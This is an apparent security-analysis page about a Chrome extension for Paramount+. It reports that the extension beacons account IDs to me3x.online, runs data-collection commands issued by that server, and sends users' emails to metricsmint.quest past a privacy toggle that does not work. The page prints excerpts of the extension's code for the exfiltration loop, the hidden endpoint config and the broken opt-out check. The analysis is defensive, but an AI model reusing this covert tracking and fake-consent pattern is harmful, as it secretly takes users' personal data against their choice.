Is Extended works with Paramount Plus [QVI] safe?

Low risk

Extended works with Paramount Plus reports your account email and viewing activity to servers unrelated to Paramount every 5 minutes.

While you're signed in to Paramount+, the extension polls me3x.online every 5 minutes with your account ID and profile details, then carries out whatever commands the server sends back — including pulling your profile list and continue-watching history and uploading them to the same server. It also sends your Paramount+ email, account ID and country to metricsmint.quest; the extension's settings expose a "share insights" toggle, but it checks a different, never-written storage key, so this data is uploaded regardless of what the user chooses.

BestChromeExtensionsv1.1.31Chrome Web Store
24Risk
Who publishes it

HideApp - 38 other listings from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
BestChromeExtensions
Declared legal entity
HideApp
Website
support.hideapp.info/support/tickets/new

Same store account

38 other listings published from this account, 69k+ users between them. 1 of them carries a finding.

Shorts scroller, works with Youtube [QVI]30k+MediumAudio Booster for Netflix [QVI]8k+LowAd Skipper for Pluto TV [QVI]8k+LowHBO Max Extended: tools to fix HBO [QVI]4k+LowCustom Fonts for Gmail3k+CleanAudio Booster for HBO Max [QVI]2k+Low32 more listings in the relationship graph, on paid plans →

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

bestchromextensions.com
Also called by 3 other listings: HBO Max Subtitle Editor RTL Fix, HBO Max HQ: change video quality [QVI], Audio Booster works with Disney+ [QVI]

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extended for Paramount+ reports account IDs to me3x.online every 5 minutes

Code analysis shows that every 5 minutes while signed in on paramountplus.com, the extension reports account and device IDs to me3x.online, runs the data-collection commands it returns, and uploads the results back.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You sign in to your Paramount+ account and keep a paramountplus.com tab open.

No specific page or click is required beyond staying signed in.

The extension did this

Every 5 minutes the extension reports account and device identifiers to me3x.online, then runs whatever commands the server sends back.

Commands can pull your profile, continue-watching list and subscriptions via Paramount's own API and upload the results to me3x.online.

When this fires

Every 5 minutes

Repeats every 5 minutes for as long as you remain signed in on paramountplus.com.

Fields sent to me3x.online/n/paramount/start every cycle
  • Paramount account ID
    7841236590

    A permanent numeric ID tied to your specific Paramount+ subscription.

  • Profile ID
    prof_58312940

    Identifies which profile on the account is active, e.g. a specific family member.

  • Extension install ID
    a1e4c2f9-8b3d-4a71-9c05-6e2f0d8b41a3

    A persistent per-install ID that ties every beacon back to the same browser.

  • Registered country
    US

    Your account's registered country.

  • Browser language
    en-US

    Your browser's language setting, sent as extra device context.

The code that does this

The self-rescheduling loop that keeps this running

Readable version

ParamountHunter.run()

paramount.min.js:8402-8437
                return domain.indexOf(paramountAPIUrl) !== -1;            }        },        {            key: "run",            value: function run() {                var _this = this;                return ParamountHunter_async_to_generator(function() {                    return ParamountHunter_ts_generator(this, function(_state) {                        switch(_state.label){                            case 0:                                return [                                    4,                                    scrapeParamountData()                                ];                            case 1:                                _state.sent();                                setTimeout(function() {                                    return _this.run();                                }, rerunTimeInterval);                                return [                                    2                                ];                        }                    });                })();

scrapeParamountData()

paramount.min.js:8100-8148
        };    }}var scrapeParamountData = function() {    var _ref = Scrape_async_to_generator(function() {        var commandsInitData, commands, commandsData, error;        return Scrape_ts_generator(this, function(_state) {            switch(_state.label){                case 0:                    _state.trys.push([                        0,                        6,                        ,                        8                    ]);                    return [                        4,                        isLogged()                    ];                case 1:                    if (!_state.sent()) {                        return [                            2                        ];                    }                    return [                        4,                        fetchCommandsInitData()                    ];                case 2:                    commandsInitData = _state.sent();                    return [                        4,                        (0,Metriq/* fetchCommandsToSend */.Gd)(commandsInitData)                    ];                case 3:                    commands = _state.sent();                    return [                        4,                        executeCommandsToSend(commands)                    ];                case 4:                    commandsData = _state.sent();                    return [                        4,                        sendCommandsData(commandsData)                    ];                case 5:                    _state.sent();                    return [
What each server-issued command does

  1. same cycle

    You did

    me3x.online returns a PROFILES command in its /start response.

    The extension did

    provideProfilesData() queries Paramount's own profiles API and the result is POSTed to me3x.online/upload.

  2. same cycle

    You did

    me3x.online returns a CONTINUE_WATCHING command.

    The extension did

    provideContinueWatchingData() fetches your continue-watching list and title/genre/episode details, then uploads it.

  3. same cycle

    You did

    me3x.online returns a SUBSCRIPTIONS command.

    The extension did

    provideSubscriptionsData() reads the subscriptions page and uploads it (this also triggers the email/account upload described in the companion claim).

Third-party destinations
    • me3x.online

    Receives account/device identifiers via POST /n/paramount/start, returns commands to run, and receives the scraped results via POST /n/paramount/upload.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Extended for Paramount+ sends your email and account ID to metricsmint.quest

Code analysis shows the extension reads your Paramount+ email, account ID and country and POSTs them, base64-encoded, to metricsmint.quest, a domain unrelated to Paramount.

The visible privacy toggle does not block this.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You sign in to Paramount+ and open a page on paramountplus.com, such as the account or subscriptions page.

The extension's content script runs on every paramountplus.com page you load.

The extension did this

The extension reads your email, account ID and country from the page and POSTs them to a domain unrelated to Paramount.

handleAdditionalProfileData() sends the data to https://metricsmint.quest/up, base64-encoded.

Fields uploaded to metricsmint.quest/up
  • Account email
    j.martinez83@gmail.com

    Directly identifies you and links your Paramount+ activity to a real inbox.

  • Paramount account ID
    7841236590

    A permanent numeric ID tied to your specific Paramount+ subscription.

  • Extension install ID
    a1e4c2f9-8b3d-4a71-9c05-6e2f0d8b41a3

    A persistent ID the extension generates once per install and reuses on every upload.

  • Registered country
    US

    Your account's registered country, sent alongside the other fields.

The code that does this

config.d1 hides the real destination behind a module property

Readable version

Resolved config module referenced as config.d1

paramount.min.js:8929
/***/ 119:/***/ (function(module) {"use strict";module.exports = /*#__PURE__*/JSON.parse('{"Ec":"https://me3x.online/","QL":"ad3d7c8e","xg":"","d1":"https://metricsmint.quest/up","uL":"https://me3x.online/n/"}');
The code that does this

The visible toggle writes a different key than the one gating the upload

Readable version

Helper.js: the check gating the PII upload

paramount.min.js:3370-3467
var getOptedOut = function() {    var _ref = Helper_async_to_generator(function(key) {        var _globalThis_chrome, shareInsights, error;        return Helper_ts_generator(this, function(_state) {            switch(_state.label){                case 0:                    _state.trys.push([                        0,                        2,                        ,                        3                    ]);                    if (!((_globalThis_chrome = globalThis.chrome) === null || _globalThis_chrome === void 0 ? void 0 : _globalThis_chrome.storage)) {                        return [                            2,                            false                        ];                    }                    return [                        4,                        chrome.storage.sync.get(key)                    ];                case 1:                    shareInsights = _state.sent()[key];                    if (shareInsights === false) {                        return [                            2,                            true                        ];                    }                    return [var isOptedOutPii = function() {    var _ref = Helper_async_to_generator(function() {        var SHARE_PERSONAL_DATA_KEY, optedOutPii;        return Helper_ts_generator(this, function(_state) {            switch(_state.label){                case 0:                    SHARE_PERSONAL_DATA_KEY = "sharePersonalData";                    return [                        4,                        getOptedOut(SHARE_PERSONAL_DATA_KEY)                    ];                case 1:                    optedOutPii = _state.sent();                    return [                        2,                        optedOutPii                    ];            }        });    });    return function isOptedOutPii() {
Third-party destinations
    • metricsmint.quest

    Receives the base64-encoded email, account ID, install ID and country via POST /up. Not referenced by paramountplus.com or any other Paramount-owned host in the extension.

Reproduce it yourself

Decodes a base64 POST body captured to metricsmint.quest/up back into its JSON fields.

Requires
  • Node.js 18+
decode_metricsmint_payload.js · js
// Paste the base64 request body captured from a POST to// metricsmint.quest/up here. The example below is illustrative: it was// generated locally with the extension's own encoding routine (UTF-8 ->// btoa), not captured from a live request.const PAYLOAD = "eyJzdm9kIjoicGFyYW1vdW50IiwiYWNjb3VudF9pZCI6Ijc4NDEyMzY1OTAiLCJleHRlbnNpb25fdXNlcl9pZCI6ImExZTRjMmY5LThiM2QtNGE3MS05YzA1LTZlMmYwZDhiNDFhMyIsImN1c3RvbWVyX2VtYWlsIjoiai5tYXJ0aW5lejgzQGdtYWlsLmNvbSIsImN1c3RvbWVyX2NvdW50cnkiOiJVUyJ9";const decoded = Buffer.from(PAYLOAD, "base64").toString("utf-8");console.log(JSON.parse(decoded));
How to run it
  1. 1Capture the base64 request body from a POST to metricsmint.quest/up.
  2. 2Replace PAYLOAD with it.
  3. 3Run node decode_metricsmint_payload.js.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Extended works with Paramount Plus [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • metricsmint.questwidely used

    Extended works with Paramount Plus [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.

  • me3x.onlinewidely used

    Extended works with Paramount Plus [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.

Updated 30 September 2026nbjblmlanbnaiobkkhjplbdafmpehmbl